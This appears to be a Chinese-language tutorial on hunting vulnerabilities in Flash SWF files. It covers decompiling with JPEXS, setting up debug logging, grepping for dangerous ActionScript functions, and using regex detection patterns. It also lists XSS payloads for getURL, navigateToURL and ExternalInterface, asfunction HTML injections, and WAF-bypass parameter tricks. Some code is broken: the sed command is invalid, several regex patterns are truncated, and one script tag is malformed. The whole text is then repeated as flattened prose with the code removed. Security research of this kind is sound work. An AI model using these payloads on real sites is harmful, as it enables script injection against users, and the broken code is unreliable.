探寻Flash SWF中的漏洞
字数 1246 2025-08-27 12:33:43

Flash SWF漏洞挖掘技术手册

一、前言与背景

Flash SWF文件曾经是互联网广泛使用的多媒体格式,虽然现在已逐渐被淘汰,但在遗留系统中仍可能存在安全隐患。本手册详细介绍了Flash SWF文件的漏洞挖掘技术,包括工具使用、代码分析方法和漏洞利用技巧。

二、必备工具

1. 反编译工具

  • JPEXS Free Flash Decompiler:用于反编译SWF文件,读取源代码并导出
    • 下载地址:https://www.free-decompiler.com/flash/

2. Flash调试环境

  • Flash Player Projector:标准播放器
  • Flash Player Projector调试版:带调试功能的播放器
  • Flash Player插件调试版:用于浏览器插件调试
    • 下载地址:https://www.flash.cn/support/debug-downloads

3. 辅助工具

  • testflash.php:本地测试页面
    • 示例:http://10degres.net/assets/testflash.txt
  • MacroMedia配置文件:启用Flash日志记录
    • 配置路径:~/mm.cfg
    • 配置内容:
      ErrorReportingEnable=1
      TraceOutputFileEnable=1
      MaxWarnings=50
      AS3Trace=1
      

三、工作流程

1. 获取SWF代码

  1. 下载SWF文件:wget <url>
  2. 使用JPEXS打开SWF文件
  3. 全选内容(Ctrl+A)
  4. 右键导出选择(Export Selection)
  5. 清理重复文件:
    find <export_dir> -type f -name "*_[0123456789]*" -exec rm {} \;
    

2. 数据提取

  • 查找注释
    extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -c
    
  • 查找hash值或关键字
    extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -k
    
  • 查找终端点
    extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1
    

3. 正则匹配分析

使用flash-regexp.sh脚本进行模式匹配:

#!/bin/bash
target_dir=$1
cat "flash-regexp.txt" | while read -r r; do
  echo "$r" | awk -F ";;" '{print $1" : "$2}'
  reg=`echo "$r" | awk -F ";;" '{print $3}'`
  escape_reg=$reg
  escape_reg=$(echo $escape_reg | sed "s/g")
  echo $escape_reg
  egrep --color -ri "$escape_reg" $target_dir
  echo
  echo
done

示例正则模式:

Flash XSS (HIGH);;clicktag XSS;;geturl$.*clicktag.*$
Flash XSS (HIGH);;getURL XSS;;geturl$.*(_root\.|_level0\.|_global\.).*$
Flash XSS (HIGH);;getURL XSS;;geturl\
Flash XSS (HIGH);;navigateToURL XSS;;navigateToURL\
Flash XSS (HIGH);;ExternalInterface.call XSS;;ExternalInterface\.call\(.*(_root\.|_level0\.|_global\

四、手动分析技术

1. 日志分析

cd /usr/lib/adobe-flashplugin
cp libflashplayer_debug.so libflashplayer.so
tail -f ~/.macromedia/Flash_Player/Logs/flashlog.txt | grep -a -v AVMINF

2. 本地测试

firefox http://127.0.0.1/testflash/testflash.php?__swf=<MYSWF_FILE>.swf&param1=value1&param2=value2...

3. 参数追踪

  1. 在JPEXS中搜索参数(Ctrl+Shift+F)
  2. 勾选"Ignore case"
  3. 搜索关键词如"flashvars"
  4. 从初始化到最终使用全程跟踪参数

4. 危险方法查找

  • 使用JPEXS搜索危险方法名
  • 反向跟踪参数流向

五、危险函数列表

ActionScript 2危险方法

loadVariables()
getURL()
getURLBlankVar()
getURLParentVar()
getURLJSParam()
loadMovie()
loadMovieVar()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load('url')
XML.sendAndLoad('url')
LoadVars.load('url')
LoadVars.send('url')
Sound.loadSound('url', isStreaming)
NetStream.play('url')
flash.external.ExternalInterface.call(_root.callback)
externalInterface.addCallback
htmlText
htmlVar
loadClipAddDLL

数据操作危险函数

XMLLoader, AMFService, SWFLoader, loadVariables, loadMovie,
loadMovieNum, LoadVars.load, LoadVars.send, NetStream.play,
getDefinition, getDefinition, FScrollPane.loadScrollContent, XML.load,
Sound.loadSound, NetStream.play, URLRequest, URLLoader,
URLStream, LocalConnection, SharedObject

未初始化全局变量

  • ActionScript 2:
    _root
    _global
    _level0
    
  • ActionScript 3:
    root
    loaderInfo
    parameters
    

六、XSS Payload

1. AS2 getURL() / AS3 NavigateToURL()

javascript:alert(1)
javascript://adobe.com%0aalert(1)
data:text/html,<script>alert(1)<script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

2. AS2 fscommand, AS2 .watch, AS3 externalInterface.Call

alert`0`
%#jsinitfunctio%gn=alert%601%60
\"))-alert(1)}catch(e)
catch(e) {alert(1)
alert(document.domain);
\"));throw_error()}catch(e){alert(document.domain)
function%20someFunction(a){}
prompt(1)//
"%5D);}catch(e){}
if(!self.a)self.a=!alert(document.domain);//
flash.external.ExternalInterface.call("alert", '1');

3. HTML注入


<a href=asfunction:System.Security.allowDomain,www.example.com>
<a href=asfunction:getURL,javascript:alert(1)>

4. WAF绕过技巧

param1=value1pa%Xram1=val%Yue1
pa%=ram1=val%#ue1
pa%AXram1=val%B#ue1
File.swf?%#param1=value1&p2=v2
%#jsinitfunctio%gn=alert%601%60

5. 错误触发

xxx"xxx

七、总结

本手册详细介绍了Flash SWF文件漏洞挖掘的全套技术,从工具准备到实际分析,再到漏洞利用。关键点包括:

  1. 使用JPEXS进行反编译和代码分析
  2. 配置完整的Flash调试环境
  3. 系统性的危险函数检查清单
  4. 多种XSS注入技术和WAF绕过方法
  5. 正则表达式辅助分析技术

这些技术不仅适用于Flash安全研究,其中的思路和方法也可应用于其他类似技术的安全分析。

Flash SWF漏洞挖掘技术手册 一、前言与背景 Flash SWF文件曾经是互联网广泛使用的多媒体格式,虽然现在已逐渐被淘汰,但在遗留系统中仍可能存在安全隐患。本手册详细介绍了Flash SWF文件的漏洞挖掘技术,包括工具使用、代码分析方法和漏洞利用技巧。 二、必备工具 1. 反编译工具 JPEXS Free Flash Decompiler :用于反编译SWF文件,读取源代码并导出 下载地址:https://www.free-decompiler.com/flash/ 2. Flash调试环境 Flash Player Projector :标准播放器 Flash Player Projector调试版 :带调试功能的播放器 Flash Player插件调试版 :用于浏览器插件调试 下载地址:https://www.flash.cn/support/debug-downloads 3. 辅助工具 testflash.php :本地测试页面 示例:http://10degres.net/assets/testflash.txt MacroMedia配置文件 :启用Flash日志记录 配置路径: ~/mm.cfg 配置内容: 三、工作流程 1. 获取SWF代码 下载SWF文件: wget <url> 使用JPEXS打开SWF文件 全选内容(Ctrl+A) 右键导出选择(Export Selection) 清理重复文件: 2. 数据提取 查找注释 : 查找hash值或关键字 : 查找终端点 : 3. 正则匹配分析 使用 flash-regexp.sh 脚本进行模式匹配: 示例正则模式: 四、手动分析技术 1. 日志分析 2. 本地测试 3. 参数追踪 在JPEXS中搜索参数(Ctrl+Shift+F) 勾选"Ignore case" 搜索关键词如"flashvars" 从初始化到最终使用全程跟踪参数 4. 危险方法查找 使用JPEXS搜索危险方法名 反向跟踪参数流向 五、危险函数列表 ActionScript 2危险方法 数据操作危险函数 未初始化全局变量 ActionScript 2 : ActionScript 3 : 六、XSS Payload 1. AS2 getURL() / AS3 NavigateToURL() 2. AS2 fscommand, AS2 .watch, AS3 externalInterface.Call 3. HTML注入 4. WAF绕过技巧 5. 错误触发 七、总结 本手册详细介绍了Flash SWF文件漏洞挖掘的全套技术,从工具准备到实际分析,再到漏洞利用。关键点包括: 使用JPEXS进行反编译和代码分析 配置完整的Flash调试环境 系统性的危险函数检查清单 多种XSS注入技术和WAF绕过方法 正则表达式辅助分析技术 这些技术不仅适用于Flash安全研究,其中的思路和方法也可应用于其他类似技术的安全分析。